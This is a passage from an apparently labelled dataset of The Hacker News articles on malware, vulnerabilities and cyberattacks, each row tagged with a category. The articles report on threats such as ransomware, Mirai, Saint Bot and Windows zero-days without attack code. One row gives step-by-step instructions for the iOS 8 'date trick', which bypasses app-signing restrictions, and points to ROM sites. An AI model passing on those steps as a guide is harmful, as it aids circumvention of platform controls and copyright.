So, DO NOT CLICK on suspicious links provided in emails and attachments from unknown sources.

Also Read: Ransomware Attacks Threaten Wearable Devices and IoTs

Moreover, ensure that your systems are running the latest version of Antivirus software with up to date malware definitions.

",Malware
Somebody Offered Money to Raspberry Pi Foundation for Pre-Installing Malware,https://thehackernews.com/2015/12/raspberry-pi-malware.html,"The Raspberry Pi is now gaining attention from malware distributors who want the popular mini-computers to deliver with pre-install malware.

The Raspberry Pi Foundation has made a shocking revelation that the charitable foundation has been offered money to install malware onto the Raspberry Pi machines before they were shipped out to users.

The Raspberry Pi is an extremely simple computer that looks and feels very basic, but could be built into many geeky projects. Due to the low-cost appeal of the Raspberry Pi, the Foundation has sold over 4 million units.

Just Last month, Raspberry Pi unveiled its latest wonder: The Raspberry Pi Zero – a programmable computer that costs just $5 (or £4), may rank as the world's cheapest computer.

Last Wednesday, the Foundation tweeted a screenshot of an email in which ""business officer"" Linda effectively asked Foundation's director of communications Liz Uptonto to install a suspicious executable file onto Raspberry Pis for which the officer promised to offer a ""price per install.""

The email further explained that installing the executable file would create a shortcut icon on the user's desktop and opening the shortcut would take the user to the company's website. ""Then this is our target,"" the email reads.

Here's the screenshot of the full email:
However, the name of the company represented by Linda was not revealed by the Raspberry Pi Foundation.

Obviously, the paid-for-malware distributor pitched the wrong organisation, who declined the offer, describing the company as ""evildoers,"" but the incident once again raises the question about this common, widespread issue.

",Malware
"Beware! Don't Fall For ""Font Wasn't Found"" Google Chrome Malware Scam",https://thehackernews.com/2017/02/HoeflerText-font-chrome.html,"Next time when you accidentally or curiously land up on a website with jumbled content prompting you to download a missing font to read the blog by updating the Chrome font pack…

…Just Don't Download and Install It. It's a Trap!

Scammers and hackers are targeting Google Chrome users with this new hacking scam that's incredibly easy to fall for, prompting users to download a fake Google Chrome font pack update just to trick them into installing malware on their systems.

Here's What the Scam is and How it works:

It's a ""The 'HoeflerText' font wasn't found"" scam.

Security firm NeoSmart Technologies recently identified the malicious campaign while browsing an unnamed WordPress website that had allegedly already been compromised, possibly due to failing to apply timely security updates.

The scam is not a new one to identified by NeoSmart. It has been making rounds since last month.

The hackers are inserting JavaScript into poorly secured, but legitimate websites to modify the text rendering on them, which causes the sites to look all jumbled with mis-encoded text containing symbols and other random characters.
So if Chrome users come across such websites from a search engine result or social media site, the script makes the website unreadable and prompts them to fix the issue by updating their 'Chrome font pack.'

The prompt window says: ""The 'HoeflerText' font wasn't found,"" and you're then asked to update the ""Chrome Font Pack."" If clicked, it actually installs a malware trojan on your machine.

The scam can also be used to infect victims computer with Spora ransomware -- one of the most well-run ransomware operations, discovered at the start of this year, with active infection channels, advanced crypto, and an advanced ransom payment service.

What makes this scam particularly appealing is that everything about the browser message looks legit, from the type of ""missing font"" and the dialog window to the Chrome logo and the right shade of blue on the ""update"" button.

How to identify the Scam?

There are several ways to recognize this scam.

First of all, the dialog window has been hard-coded to show that you are running Chrome version 53 even if you actually aren't, which might be a clue that something is not right.

Secondly, there's an issue with the filenames: Clicking the ""Update"" button proceeds to download an executable file titled ""Chrome Font v7.5.1.exe."" But this file is not the one shown in the malicious instruction image, which reads ""Chrome_Font.exe.""

Even if you fail to identify these clues, you may get a standard warning, saying ""this file isn't downloaded often,"" when you try to download the file.

Chrome Does Not Flag it as Malware
However, what's strange is that the Chrome browser doesn't flag the file as malware, but the browser does block it because the file is not downloaded too often, which is a standard warning.

NeoSmart Technologies has since run the malware through VirusTotal, which revealed that currently only 9 out of 59 anti-virus software in the database accurately identify the file as malware.

So users are always recommended to exercise caution when downloading anything from the Internet onto their computers, to keep your antivirus software up-to-date and do not ever fall for scam asking you to update the Chrome font pack, as it already comes with everything you need.

",Malware
FBI get 4 more months to fight with DNSChanger,https://thehackernews.com/2012/03/fbi-get-4-more-months-to-fight-with.html,"FBI get 4 more months to fight with DNSChanger

On March 5th, a US District Court (New York) signed an order to extend the March 8th deadline to July 9th.This extension will allow for all affected entities to continue to track-down and remediate agains hosts which are still compromised. Current data indicates that there are still several million infected/affected hosts world-wide dealing with this issue.

Over the last month, the temporary servers routed an average of 430,000 infected IP addresses according to the government request for extension. Security firm Internet Identity also found that at least 94 Fortune 500s and three major government agencies are still infected with DNSChanger. The remaining infected systems will now have an additional four months to get rid of the malware before having their DNS pulled.

The malware hijacked users clicks by modifying their computers' domain name system (DNS) settings to send URL requests to the criminals' own servers, a tactic that shunted victims to hacker-created sites that resembled the real domains.

It's estimated that DNSChanger generated close to $14 million in illicit advertising money via click hi-jacking and replacing online ads. The six individuals who were allegedly responsible for releasing the malware have been cleared for extradition by an Estonian court to face trial in the US.

""There has been significant progress within the government and enterprise, where it's easier to clean things up, but ISPs have been slower, in part because some of them are still trying to figure out how best to handle the situation,"" said Rasmussen, president and CTO at IID.

To find out whether your computer or network router is infected with DNSChanger malware, click here. If you are infected, make sure you've got a serious anti-virus security suite, update it and run a full system scan. If that doesn't work, contact a computer professional.

Also Read : FAQ : DNSChanger Trojan, Impact and Solutions

",Malware
LOCKER Malware - Yet another new variant of Cryptolocker Ransomware,https://thehackernews.com/2013/12/locker-malware-yet-another-new-variant.html,"Ransomware, a threat to internet users that continues to grow in popularity with cyber criminals due to its success and monetary potential. This is nothing new and to be expected. I have noticed many discussions on underground hacking forums about ""How to create Ransomware like Cryptolocker malware"" or ""Malware - hacking tool-kit with ransomware features"".
Security intelligence provider, IntelCrawler has discovered a new ransomware variant called Locker that demands $150 (£92) to restore files that it has encrypted.

Like Cryptolocker, this new ransomware is also nasty because infected users are in danger of losing their personal files forever.

Locker mainly spreads by drive-by downloads from compromised websites, disguised itself as MP3 files and use system software vulnerabilities to infect the end user.

Once it has infected a system, malware first checks the infected machine has an internet connection or not. Then it deletes any original files from the victim's computer after using AES-CTR for encrypting the files on infected devices and add "". perfect"" extension to them.

Locker's encryption is based on an open source tool called 'TurboPower LockBox' library. After encrypting all files, the malware place a ""CONTACT.TXT"" file in each directory, which provides contact details of the author to buy the decryption key and once the ransom is paid, each victim gets a key to unscramble files.

The good news is that the researchers are working on the universal decryption software in order to help the victims. ""It appears that the hackers are simply comparing the list of infected IP addresses of users, along with their host names,"" according IntelCrawler.

IntelCrawler had discovered 50 different builds of the malware, which are being sold in underground markets for pay-per install programs. One builds had just under 6,000 infected machines. ZdNet reported.

Malware will encrypt all drives visible on an infected system, so you must be sure that your backups are stored remotely or in a location that is not simply another drive partition or mapping to another location.

The malware infects users from the United States, Turkey, Russia, Germany and the Netherlands. Users should remain vigilant about their security. Please double check the legitimacy of links received in emails and ensure you have your antivirus up to date to help protect against such threats.

",Malware
Alert — There's A New Malware Out There Snatching Users' Passwords,https://thehackernews.com/2021/04/alert-theres-new-malware-out-there.html,"A previously undocumented malware downloader has been spotted in the wild in phishing attacks to deploy credential stealers and other malicious payloads.
Dubbed ""Saint Bot,"" the malware is said to have first appeared on the scene in January 2021, with indications that it's under active development.
""Saint Bot is a downloader that appeared quite recently, and slowly is getting momentum. It was seen dropping stealers (i.e. Taurus Stealer) or further loaders (example), yet its design allows [it] to utilize it for distributing any kind of malware,"" said Aleksandra ""Hasherezade"" Doniec, a threat intelligence analyst at Malwarebytes.
""Furthermore, Saint Bot employs a wide variety of techniques which, although not novel, indicate some level of sophistication considering its relatively new appearance.""
The infection chain analyzed by the cybersecurity firm begins with a phishing email containing an embedded ZIP file (""bitcoin.zip"") that claims to be a bitcoin wallet when, in fact, it's a PowerShell script under the guise of .LNK shortcut file. This PowerShell script then downloads the next stage malware, a WindowsUpdate.exe executable, which, in turn, drops a second executable (InstallUtil.exe) that takes care of downloading two more executables named def.exe and putty.exe.
While the former is a batch script responsible for disabling Windows Defender, putty.exe contains the malicious payload that eventually connects to a command-and-control (C2) server for further exploitation.
The obfuscation present in each stage of the infection, coupled with the anti-analysis techniques adopted by the malware, allows the malware operators to exploit the devices they were installed on without attracting attention.
Besides performing ""self defense checks"" to verify the presence of a debugger or a virtual environment, Saint Bot is designed to not execute in Romania and select countries within the Commonwealth of Independent States (CIS), which includes Armenia, Belarus, Kazakhstan, Moldova, Russia, and Ukraine.
The list of commands supported by the malware include —
downloading and executing other payloads retrieved from the C2 server
updating the bot malware, and
uninstalling itself from the compromised machine
While these capabilities may seem very small, the fact that Saint Bot serves as a downloader for other malware makes it dangerous enough.
Interestingly, the payloads themselves are fetched from files hosted on Discord, a tactic that has become increasingly common among threat actors, who are abusing legitimate functions of such platforms for C2 communications, evade security, and deliver malware.
""When files are uploaded and stored within the Discord CDN, they can be accessed using the hardcoded CDN URL by any system, regardless of whether Discord has been installed, simply by browsing to the CDN URL where the content is hosted,"" researchers from Cisco Talos disclosed in an analysis earlier this week, thus turning software like Discord and Slack into lucrative targets for hosting malicious content.
""Saint Bot is yet another tiny downloader,"" Hasherezade said. ""[It is] not as mature as SmokeLoader, but it is quite new and currently actively developed. The author seems to have some knowledge of malware design, which is visible by the wide range of techniques used. Yet, all the deployed techniques are well-known and pretty standard, [and] not showing much creativity so far.""

",Malware
Chinese Hackers Caught by US water control system Honeypots,https://thehackernews.com/2013/08/Chinese-hackers-APT1-honeypot-water-control-system.html,"A notorious Chinese hacker collective known as APT1 or Comment Crew, possibly linked to the Chinese Army, have been caught red handed breaking into a fake United States water control system i.e. known as a Honeypot.

Kyle Wilhoit, a researcher with security company Trend Micro has just revealed the details at BlackHat Conference on Wednesday.
Hackers hacked a water control system for a US municipality back in December last year, but it was merely a decoy set up by Kyle Wilhoit using a Word document hiding malicious software to gain full access.

The honeypots directly mimicked the ICS/Scada devices used in many critical infrastructure power and water plants. Cloud software was used to create realistic Web-based login and configuration screens for local water plants seemingly based in Ireland, Russia, Singapore, China, Japan, Australia, Brazil, and the U.S.

Researchers have been tracked back to the APT1 Group, which security company Mandiant has claimed operates as part of China's army. Wilhoit used a tool called the Browser Exploitation Framework, or BeEF, to gain access to his attackers' systems and get precise data on their location. He was able to access data from their Wi-Fi cards to triangulate their location.

Between March and June this year Wilhoit's 12 honeypots attracted 74 attacks and roughly half of the critical attacks on his honeypots come from China, with Germany, UK, France, Palestine and Japan. ""I actually watched the attacker interface with the machine. It was 100 percent clear they knew what they were doing."" Wilhoit said.

The incident has led Wilhoit to believe that other utilities around the world may have already been infiltrated by hackers, and that engineers working at these facilities may not realize that their systems have been compromised. The attacks reportedly occurred before the US opened talks with China over cyber security.

",Cyber_Attack
iOS 8 'Date Trick' Loophole Allows Play Nintendo Games Using Emulators,https://thehackernews.com/2014/10/ios-8-date-trick-loophole-allows-play.html,"If you are a retro games lover and want to play it on your iPhone, a security loop in iOS 8 makes it possible for you to play classic SNES games on your iPhone, without the need to jailbreak your Apple devices.

Since Apple doesn't allow emulators on the App Store for copyright reasons, making it difficult to install third-party emulators and other unapproved applications.

But, the latest upcoming beta version iOS 8.1 patched the famous ""Date Trick"" that had allowed iOS emulator makers to bypass App Store restrictions and run unofficial emulators on iPhones and iPads.

The loophole called the ""Date Trick,"" found by Dario Sepulveda of the GBA4iOS team, is currently being used in the wild by the makers of emulators like GBA4iOS and SNES emulator since last year, allowing iOS users to downloaded and installed unapproved apps through the built-in Safari browser.

Technically, by changing the device's date and time back at least two months on an iPad or iPhone, it is possible to bypass the restrictions on unsigned apps, which allows Apple iOS users to easily run emulators without jailbreaking their devices.

HOW TO DOWNLOAD SNES SiOS SUPER NINTENDO EMULATOR FOR iOS 8
On your iOS 8 device, open up the Safari browser and Go to iEmulators.com
Go to the Apps in the top tabs, swipe down to SiOS: A SNES emulator, and tap ""Install"".
Go to Settings > General > Date and Time.
Toggle Automatically Set to OFF, and manually set your date to two months back.
Once you've set the date two months back, retry installation.
When installation finishes, open SiOS app and tap Trust when the popup asks.
Go back to Settings and under General find the Date and Time again and toggle ""Automatic"" back on.
After the installation of the emulator, now it's time to grab the ROMs and get your old-school gaming on! In order to Find Games for the SiOS Super Nintendo Emulator on iPhone follow some simple guidelines given below:
Go to CoolRoms (Super Nintendo Section) and select a ROM.
Select 'Download Now' and then select 'Open in SiOS' and the ROM will save in the SiOS app.
Go into SiOS and select the desired ROM.
Now start playing and Enjoy your favorite game. You can also watch the video demonstration below, which will help you to install emulator on your iPhones and iPads.
APPLE TO PATCH THE LOOPHOLE IN iOS 8.1
Apple is going to block the loophole that allowed people to play classic video games and run unapproved apps on iOS 8 in its upcoming beta version iOS 8.1. But unsurprisingly, the emulator community isn't too happy about this. So, if you love playing games without jailbreaking your iDevices, you should hold off on updating to iOS 8.1.

iOS users can still jailbreak their iDevices and download emulators through various third-party app stores. The final release of iOS 8.1, which will fix this issue, is expected later this month.

",Vulnerability
Microsoft Patches Two Zero-Day Flaws Under Active Attack,https://thehackernews.com/2018/05/microsoft-patch-tuesday.html,"It's time to gear up for the latest May 2018 Patch Tuesday.

Microsoft has today released security patches for a total of 67 vulnerabilities, including two zero-days that have actively been exploited in the wild by cybercriminals, and two publicly disclosed bugs.

In brief, Microsoft is addressing 21 vulnerabilities that are rated as critical, 42 rated important, and 4 rated as low severity.

These patch updates address security flaws in Microsoft Windows, Internet Explorer, Microsoft Edge, Microsoft Office, Microsoft Office Exchange Server, Outlook, .NET Framework, Microsoft Hyper-V, ChakraCore, Azure IoT SDK, and more.

1) Double Kill IE 0-day Vulnerability

The first zero-day vulnerability (CVE-2018-8174) under active attack is a critical remote code execution vulnerability that was revealed by Chinese security firm Qihoo 360 last month and affected all supported versions of Windows operating systems.

Dubbed ""Double Kill"" by the researchers, the vulnerability is notable and requires prompt attention as it could allow an attacker to remotely take control over an affected system by executing malicious code remotely through several ways, such as a compromised website, or malicious Office documents.

The Double Kill vulnerability is a use-after-free issue which resides in the way the VBScript Engine (included in all currently supported versions of Windows) handles objects in computer memory, allowing attackers to execute code that runs with the same system privileges as of the logged-in user.
""In a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Internet Explorer and then convince a user to view the website. An attacker could also embed an ActiveX control marked 'safe for initialization' in an application or Microsoft Office document that hosts the IE rendering engine,"" Microsoft explains in its advisory.
""The attacker could also take advantage of compromised websites and websites that accept or host user-provided content or advertisements. These websites could contain specially crafted content that could exploit the vulnerability.""
Users with administrative rights on their systems are impacted more than the ones with limited rights, as an attacker successfully exploiting the vulnerability could take control of an affected system.

However, that doesn't mean that low-privileged users are spared. If users are logged in on an affected system with more limited rights, attackers may still be able to escalate their privileges by exploiting a separate vulnerability.

Researchers from Qihoo 360 and Kaspersky Labs found that the vulnerability was actively being exploited in the wild by an advanced state-sponsored hacking group in targeted attacks, but neither Microsoft nor Qihoo 360 and Kaspersky provided any information on the threat group.

2) Win32k Elevation of Privilege Vulnerability

The second zero-day vulnerability (CVE-2018-8120) patched this month is a privilege-escalation flaw that occurred in the Win32k component of Windows when it fails to properly handle objects in computer memory.

Successful exploitation of the flaw can allow attackers to execute arbitrary code in kernel mode, eventually allowing them to install programs or malware; view, edit or delete data; or create new accounts with full user rights.

The vulnerability is rated ""important,"" and only affects Windows 7, Windows Server 2008 and Windows Server 2008 R2. The issue has actively been exploited by threat actors, but Microsoft did not provide any detail about the in-the-wild exploits.

Two Publicly Disclosed Flaws

Microsoft also addressed two ""important"" Windows vulnerabilities whose details have already been made public.

One of these is a Windows kernel flaw (CVE-2018-8141) that could lead to information disclosure, and the other is a Windows Image bug (CVE-2018-8170) that could lead to Elevation of Privilege.

In addition, the May 2018 updates resolve 20 more critical issues, including memory corruptions in the Edge and Internet Explorer (IE) scripting engines and remote code execution (RCE) vulnerabilities in Hyper-V and Hyper-V SMB.

Meanwhile, Adobe has also released its Patch Tuesday updates, addressing five security vulnerabilities—one critical bug in Flash Player, one critical and two important flaws in Creative Cloud and one important bug in Connect.

Users are strongly advised to install security updates as soon as possible in order to protect themselves against the active attacks in the wild.

For installing security updates, head on to Settings → Update & security → Windows Update → Check for updates, or you can install the updates manually.

",Vulnerability
Project Zero - A Team of Star-Hackers Hired by Google to Protect the Internet,https://thehackernews.com/2014/07/project-zero-team-of-star-hackers-hired.html,"Today Google has publicly revealed its new initiative called ""Project Zero,"" a team of Star Hackers and Bug Hunters with the sole mission to improve security and protect the Internet.

A team of superheroes in sci-fi movies protect the world from Alien attack or bad actors, likewise Project Zero is a dedicated team of top security researchers, who have been hired by Google to finding the most severe security flaws in software around the world and fixing them.

PROTECT ZERO vs ZERO-DAY
Project Zero gets its name from the term ""zero-day,"" and team will make sure that zero-day vulnerabilities don't let fall into the wrong hands of Criminals, State-sponsored hackers and Intelligence Agencies.
""Yet in sophisticated attacks, we see the use of ""zero-day"" vulnerabilities to target, for example, human rights activists or to conduct industrial espionage."" Chris Evans said, who was leading Google's Chrome security team and now will lead Project Zero.
Zero-day vulnerabilities could give bad actors the power to completely control target users' computers, and in such scenario - no encryption can protect them.

RECRUITMENT OF STAR HACKERS
Google has already recruited some hackers at Project Zero:
Ben Hawkes - an independent researcher from New Zealand, and well known for discovering dozens of bugs in software like Adobe Flash and Microsoft Office.
George Hotz - best known for hacking Sony PlayStation 3, cracking iPhone and Google's Chrome browser.
Tavis Ormandy - working as an Information Security Engineer at Google and known for discovering lots of critical zero-day vulnerabilities in various softwares.
and many more..
Main objective of the Project Zero is to significantly reduce the number of people harmed by targeted attacks.
""We're hiring the best practically-minded security researchers and contributing 100% of their time toward improving security across the Internet."" Chris added.
TEAM WORK
However, they are not restricted to finding bugs in Google's products only, rather they can choose targets by themselves strategically, but possibly team would majorly focus on the softwares that relied upon by a significant number of people. Flaw hunting and reporting process will be as mentioned below:
The Project Zero team will hunt for zero-day vulnerabilities in Popular Softwares.
Google will report flaws to vendors.
Google will release full vulnerability disclosure only when the vendor issues a patch for it.
Every bug will be filed transparently in an external database.
""We'll use standard approaches such as locating and reporting large numbers of vulnerabilities. In addition, we'll be conducting new research into mitigations, exploitation, program analysis—and anything else that our researchers decide is a worthwhile investment."" Chris said.
Google is looking forward to grow their team of security experts and is making every effort to dedicatedly contribute to the Infosec Community.

",Vulnerability
Researcher Discloses New Zero-Day Affecting All Versions of Windows,https://thehackernews.com/2018/09/windows-zero-day-vulnerability.html,"A security researcher has publicly disclosed an unpatched zero-day vulnerability in all supported versions of Microsoft Windows operating system (including server editions) after the company failed to patch a responsibly disclosed bug within the 120-days deadline.

Discovered by Lucas Leong of the Trend Micro Security Research team, the zero-day vulnerability resides in Microsoft Jet Database Engine that could allow an attacker to remotely execute malicious code on any vulnerable Windows computer.

The Microsoft JET Database Engine, or simply JET (Joint Engine Technology), is a database engine integrated within several Microsoft products, including Microsoft Access and Visual Basic.

According to the an advisory released by Zero Day Initiative (ZDI), the vulnerability is due to a problem with the management of indexes in the Jet database engine that, if exploited successfully, can cause an out-out-bounds memory write, leading to remote code execution.

An attacker must convince a targeted user into opening a specially crafted JET database file in order to exploit this vulnerability and remotely execute malicious code on a targeted vulnerable Windows computer.
""Crafted data in a database file can trigger a write past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code under the context of the current process,"" Trend Micro's Zero Day Initiative wrote in its blog post.

""Various applications use this database format. An attacker using this would be able to execute code at the level of the current process.""
According to the ZDI researchers, the vulnerability exists in all supported Windows versions, including Windows 10, Windows 8.1, Windows 7, and Windows Server Edition 2008 to 2016.

ZDI reported the vulnerability to Microsoft on May 8, and the tech giant confirmed the bug on 14 May, but failed to patch the vulnerability and release an update within a 120-day (4 months) deadline, making ZDI go public with the vulnerability details.

Proof-of-concept exploit code for the vulnerability has also been published by the Trend Micro its GitHub page.

Microsoft is working on a patch for the vulnerability, and since it was not included in September Patch Tuesday, you can expect the fix in Microsoft's October patch release.

Trend Micro recommends all affected users to ""restrict interaction with the application to trusted files,"" as a mitigation until Microsoft comes up with a patch.

",Vulnerability
Stuxnet virus also infected Chevron's IT network,https://thehackernews.com/2012/11/stuxnet-virus-also-infected-chevrons-it.html,"Stuxnet, a sophisticated computer virus created by the United States and Israel, to spy on and attack Iran's nuclear enrichment facilities in Natanz also infected Chevron 's network in 2010, immediately after it spread into the wild. This Government created virus Now Infecting Corporations also.

Chevron oil giant found the virus in its systems after the malware's existence was first reported in a blog post in July 2010, according to Mark Koelmel, general manager of the earth-sciences department at the big U.S. oil company. The U.S. government has never officially acknowledged the Stuxnet program.
Stuxnet which was designed to attack computer systems designed by German industrial giant Siemens for managing water supplies, oil rigs, power plants and other critical infrastructure has turned up in other countries.

According to the Wall Street Journal, Chevron's experience with Stuxnet appears to be the result of the malware's unintentional release into cyberspace, much like an experimental virus escaping from a medical lab.

""Two years ago, our security systems identified the Stuxnet virus. We immediately addressed the issue without incident,"" a Chevron representative said.

Even though Stuxnet targeted industrial facilities, it also infected regular PCs and as a result was discovered in June 2010, about a year after the earliest known version was believed to be created.

On other hand, U.S. officials have blamed Iran for creating the Shamoon virus, which was responsible for a cyber attack that infected more than 30,000 computers at Saudi Arabian oil company Saudi Aramco and Qatar's natural gas firm Rasgas in mid-August.

""I think the downside of what they did is going to be far worse than what they actually accomplished,"" Chevron .

",Malware
PLATINUM Hackers Hijack Windows Hotpatching to Stay Hidden,https://thehackernews.com/2016/04/windows-hotpatching-malware.html,"In Brief
The Microsoft's Windows Defender Advanced Threat Hunting team detected that a cyber espionage group of hackers, known as PLATINUM, has found a way to turn the Windows's Hotpatching technique (a way of updating the operating system without requiring a restart) to hide its malware from Antivirus products.

PLATINUM group has been active since 2009 and launching large-scale attacks against governmental organizations, intelligence agencies, defense institutes and telecommunication providers in South and Southeast Asia.

Practically speaking, the most important thing for a sophisticated APT hacker and a cyber-espionage group is to remain undetected for the longest possible period.

Well, that's exactly what an APT (Advanced Persistent Threat) group has achieved.

The Microsoft's Windows Defender Advanced Threat Hunting team has discovered that an APT group, dubbed Platinum, has been spying on high-profile targets by abusing a ""novel"" technique called Hotpatching.

Introduced in Windows Server 2003, the Hotpatching feature allows Microsoft to upgrade applications or the operating system in the running system without having to reboot the computer by inserting the new, updated code into a server.

The Platinum hacking group has often used the spear-phishing technique to penetrate initially the targeted networks, used numerous zero-day vulnerabilities in attacks, and has taken many efforts to hide its attacks.

The latest report released by Microsoft said the Platinum group abused the Windows' hotpatching feature, allowing it to inject malicious code into running processes without having to reboot the server and then later hide backdoors and other malware from installed antivirus solution.
""If the tool fails to inject code using hot patching, it reverts to attempting the other more common code injection techniques into common Windows processes, primarily targeting winlogon.exe, lsass.exe, and svchost.exe,"" Microsoft said in its report.
The hotpatching technique works against Windows Server 2003 Service Pack 1, Windows Server 2008, Windows Server 2008 R2, Windows Vista, and Windows 7. Platinum abused the technique in real-world attacks to hide its efforts from analysis.

The group has been using the Hotpatching technique to install the Dipsing, Adbupd and JPIN backdoors on networks belonging to governmental organizations, including defense organizations, intelligence agencies, diplomats and Internet Service Providers (ISPs) and then to steal sensitive data.

The goal of the attacks doesn't appear to have been immediate financial gain; rather the Platinum APT group is up to a broader economic espionage campaign using stolen information.

The group has been targeting countries in South and Southeast Asia since at least 2009, with Malaysia being its biggest victim, following Indonesia, China, and India.

Though the Platinum group is still active, there is still a way for organizations and companies to avoid infection.

Microsoft's security experts explain that the hotpatching technique requires admin-level permissions, so the threat actors are sending spear-phishing emails that come with boobytrapped Office documents to infect each target.

",Malware
New Windows Trojan Spreads MIRAI Malware To Hack More IoT Devices,https://thehackernews.com/2017/02/mirai-iot-botnet-windows.html,"MIRAI – possibly the biggest IoT-based malware threat that emerged last year, which caused vast internet outage in October last year by launching massive distributed denial-of-service (DDoS) attacks against the popular DNS provider Dyn.

Now, the infamous malware has updated itself to boost its distribution efforts.

Researchers from Russian cyber-security firm Dr.Web have now uncovered a Windows Trojan designed to built with the sole purpose of helping hackers spread Mirai to even more devices.

Mirai is a malicious software program for Linux-based internet-of-things (IoT) devices which scan for insecure IoT devices, enslaves them into a botnet network, and then used them to launch DDoS attacks, and spreads over Telnet by using factory device credentials.

It all started early October last year when a hacker publicly released the source code of Mirai.

Dubbed Trojan.Mirai.1, the new Trojan targets Windows computers and scans the user's network for compromisable Linux-based connected devices.

Once installed on a Windows computer, the Trojan connects to a command-and-control (C&C) server from which it downloads a configuration file containing a range of IP addresses to attempt authentication over several ports such as 22 (SSH) and 23 (Telnet), 135, 445, 1433, 3306 and 3389.

Successful authentication lets malware runs certain commands specified in the configuration file, depending on the type of compromised system.

In the case of Linux systems accessed via Telnet protocol, the Trojan downloads a binary file on the compromised device, which subsequently downloads and launches Linux.Mirai.
""Trojan.Mirai.1's Scanner can check several TCP ports simultaneously. If the Trojan successfully connects to the attacked node via any of the available protocols, it executes the indicated sequence of commands,"" claimed the company in an advisory published this week.
Once compromised, the Trojan can spread itself to other Windows devices, helping hackers hijack even more devices.

Besides this, researchers noted that the malware could also identify and compromise database services running on various ports, including MySQL and Microsoft SQL to create a new admin ""phpminds"" with the password a ""phpgodwith,"" allowing attackers to steal the database.

At this time it's not known who created this, but the attack design demonstrates that your IoT devices that are not directly accessible from the internet can also get hacked to join the Mirai botnet army.

",Malware
Importance of Logs and Log Management for IT Security,https://thehackernews.com/2013/10/importance-of-logs-and-log-management.html,"IT Security is the name of the game and no matter how big or small the size of your organization, you will always invest enough on securing certain aspects of your IT network. In many organizations, it starts with monitoring your network for vulnerabilities that may enter the network to access potentially sensitive information in the form of security attacks.

For example, you may have firewalls as your first line of defense, followed by vulnerability management, intrusion detection and prevention systems, managing your network configurations and so on.
These are crucial because:
Your routers can be easily breached without proper configuration and restrictions.
If a firewall isn't configured correctly, a hacker can easily spot a port that is accidentally left open and can gain access to the network.
Rogue access points, botnet malware and social engineering can make your wireless a porthole into your LAN.
Why Logs?
The very purpose of IT security is to be proactive and the above measures make it more difficult for someone who attempts to compromise the network. This might just not be enough and you need to able to detect the actual breaches as they are being attempted. This is where log data really help.

To expose an attack or identify the damage caused, you need to analyze the log events on your network in real-time. By collecting and analyzing logs, you can understand what transpires within your network. Each log file contains many pieces of information that can be invaluable, especially if you know how to read them and analyze them. With proper analysis of this actionable data you can identify intrusion attempts, mis-configured equipment, and many more. Also for managing compliance, especially for PCI DSS – you need to retain logs and review them.

Monitoring and Analyzing Event Logs
When you know what is normal on your network, you can easily spot what is abnormal by monitoring the logon activity. It is very critical to analyze the event to understand the root cause and to make log analysis & log management more efficient, you need to collect and consolidate log data across the IT environment, and correlate events from multiple devices in real-time.
Apart from monitoring the activities across your web server, firewalls and other network devices, it becomes very crucial to monitor your workstation logs. For example, a workstation log can give you some key information like when a USB was connected, by whom and whether he belongs to the group that is authorized, etc. Log file analysis is best done with an SIEM software, when it comes to reading all of the events and being able to analyze and correlate activity across the various components of IT.

How SolarWinds Log & Event Manager can help you?
SolarWinds Log & Event Manager (LEM) completely monitor event logs across and acts as a central collection point for system log data, automatically aggregates and normalizes this data into a consistent format. LEM also performs multiple event correlation and has the distinct ability to set independent activity thresholds per event or per group to understand relationships between dramatically different activities. With its proactive approach, it helps you identify and respond to threats in real time.

Key areas where SolarWinds LEM helps you:
Monitoring Security Events: Event correlation allows you to effectively troubleshoot issues by understanding the relationship between various activities using multiple event correlations and alerts you as and when it encounters a security threat.
Threat Remediation: Active responses help you in responding timely to policy violations and troubleshooting issues. Some key active responses include:
Delete User Account and User Group
Block IP address
Log Off User
Restart/Shutdown Machine
Disable USB devices
Event forensics help you identify suspicious behavior patterns on your network.

",Cyber_Attack
Magento vulnerability allows an attacker to create administrative user,https://thehackernews.com/2014/02/Magento-vulnerability-Administrative-User_13.html,"It seems you cannot go a day without hearing about someone or some group hacking a website or stealing credit card and other sensitive data from e-commerce sites.

The Market of E-commerce is at its boom, and that provides even more opportunities to hackers. There are many readymade e-commerce platforms available on the Internet, that are easy to install and easy to manage at no extra cost and 'Magento' is one of the most popular out of them.

Recently security researchers at Securatary have reported a critical cross-store vulnerability in the Magento platform that lets attackers to escalation privilege by creating an administrative user on any 'Gostorego' online store.

The authentication bypass vulnerability left 200,000 merchants data vulnerable to hackers before it was patched. To exploit the flaw, an attacker only needed to modify the HOST header to the URI of the target account in the GET request.
They dubbed it as ""Stealth mode"", allow the attacker to steal store credits and gift coupons, change the price of products and also can manipulate a number of other things in more than 20,000 web stores. ""All these requests however ""impersonate"" the store owner account so action are logged as this user and does not look so suspicious."" they said.

To demonstrate the vulnerability security researcher has used Burp Suite, which easily allows an attacker to capture the login request, change the host entry in the header, and all other facilities for adding a new user in targeted store.

The Security Company has reported the vulnerability to eBay, who own the Magento project and hence patched.

",Vulnerability
London Stock Exchange website gets hacked with Malware Ads !,https://thehackernews.com/2011/03/london-stock-exchange-website-gets.html,"London Stock Exchange website gets hacked with Malware Ads !

THE LONDON STOCK EXCHANGE (LSE) website has been bombarded with fake insecurity software adverts that point to malware.
It seems that dodgy security ads have been unknowingly hosted at the LSE website for at least a few months. An analysis of the website revealed that 363 pages had unwittingly hosted the malicious ads over a 90 day period.
The LSE told the BBC that the website has now been given a clean bill of health and it suspects that adverts provided by a third party were responsible for the malware.
Insecurity expert Paul Mutton ran analyses on the website after clicking on the dodgy links yesterday. Apparently the target website was blocked by Firefox but Mutton got infected through Google's Chrome web browser, in which he was hit with a ridiculous number of pop up ads.
Using Google's safe browsing scheme to scan for suspicious code, Mutton found that the LSE website had been listed as hosting dodgy adverts six times in 90 days.
Sophos senior technology consultant Graham Cluley concurred with Mutton that the LSE website had been salted with malware advertising.
""Our suspicion would be that it was the third-party advertising network running via the site that delivered the malware,"" he told the BBC.
The LSE has not had a good technology day for some time now. Last year the INQUIRER reported that the LSE saw significant stock losses after postponing a new trading system due to glitches created by sabotaged software.
Then earlier this month the LSE and the Nasdaq stock exchange both fell victim to hackers who managed to invade their systems.

",Malware
New Phishing attack targets Italian Postal and Financial service again,https://thehackernews.com/2013/10/new-phishing-attack-targets-italian.html,"A phishing attack is a complex combination of technology and psychology. There are numerous ways in which people are being made fools and they can be conned by hitting on unsecured website links.

